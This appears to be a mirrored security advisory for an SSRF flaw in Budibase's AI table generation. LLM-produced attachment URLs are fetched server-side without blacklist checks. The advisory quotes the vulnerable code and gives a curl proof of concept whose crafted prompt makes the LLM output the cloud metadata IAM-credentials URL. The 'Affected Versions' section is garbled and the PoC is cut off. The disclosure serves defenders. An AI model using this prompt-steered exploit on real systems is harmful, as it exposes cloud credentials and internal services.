A AegiFlow
MEDIUMCVSS 4.9

GHSA-hfhx-w8p8-4hc7

Budibase: SSRF via bare fetch() in uploadUrl during AI table generation

Published
2026-07-24
Modified
2026-07-24
Sources
github-advisory

Summary

# Budibase: SSRF via bare fetch() in uploadUrl during AI table generation ## Summary The `uploadUrl()` function in `packages/server/src/utilities/fileUtils.ts` uses a bare `fetch(url)` call without any SSRF protection. This function is invoked when the AI table generation feature processes LLM-generated attachment column values that are strings (URLs). A builder-level user can craft prompts that cause the LLM to generate internal IP addresses or cloud metadata endpoints as attachment URLs. When `generateRows()` calls `processAttachments()`, these URLs are fetched server-side without blacklist validation, allowing the attacker to reach internal services, cloud metadata APIs (169.254.169.254), or other network-internal resources. This is a variant of the same class of issue addressed in other Budibase code paths where `fetchWithBlacklist()` is correctly used to prevent SSRF. ## Affected Versions { try { const res = await fetch(url) // No blacklist validation ``` This is called from: ```typescript // packages/server/src/sdk/workspace/ai/helpers/rows.ts:104-114 async function processAttachments( entry: Record , attachmentColumns: FieldSchema[] ) { function processAttachment(value: any) { if (typeof value === "object") { return uploadFile(value) } return uploadUrl(value) // String values treated as URLs, fetched without protection } ``` Which is triggered via `generateRows()` at line 34: ```typescript // packages/server/src/sdk/workspace/ai/helpers/rows.ts:34 await processAttachments(entry, attachmentColumns) ``` ### Compare with correct sibling: processUrlFile() in extract.ts ```typescript // packages/server/src/automations/steps/ai/extract.ts:139-144 async function processUrlFile( fileUrl: string, fileType: SupportedFileType, llm: LLMResponse ): Promise { const response = await fetchWithBlacklist(fileUrl) // Correct: uses blacklist ``` The `fetchWithBlacklist()` function validates each URL (including redirects) against a blacklist of internal/private IP ranges before making the request: ```typescript // packages/server/src/automations/steps/utils.ts:100-112 export async function fetchWithBlacklist( url: string, request: RequestInit = {} ): Promise { const maxRedirects = 5 let nextUrl = url // ... for (let redirects = 0; redirects <= maxRedirects; redirects++) { await throwIfBlacklisted(nextUrl) // Validates against private IP ranges const response = await fetch(nextUrl, nextRequest) ``` ## Proof of Concept Prerequisites: Builder-level authentication, AI feature enabled on the instance. ```bash # Step 1: Authenticate as builder TOKEN=$(curl -s -X POST 'http://TARGET:10000/api/global/auth/default/login' \ -H 'Content-Type: application/json' \ -d '{"username":"[email protected]","password":"password123"}' \ -c - | grep budibase:auth | awk '{print $NF}') # Step 2: Create an app with a table that has an attachment column APP_ID="app_dev_xxxx" # Use existing app # Step 3: Use the AI table generation endpoint with a prompt designed to # produce internal URLs as attachment values. # The LLM will generate rows with attachment column values pointing to # internal services. curl -X POST "http://TARGET:10000/api/workspace/$APP_ID/ai/tables/generate" \ -H "Content-Type: application/json" \ -H "Cookie: budibase:auth=$TOKEN" \ -d '{ "prompt": "Create a table called Assets with columns: name (string), logo (attachment). Add one row: name=test, logo=http://169.254.169.254/latest/meta-data/iam/security-credentials/" }' # The server will call uploadUrl("http://169.254.169.254/latest/meta-data/iam/securi

Affected packages

EcosystemPackageAffected versionsFixed versions
npm@budibase/server

Remediation: No patched version is listed by GitHub.

References

Includes data from the GitHub Advisory Database, licensed under CC-BY 4.0.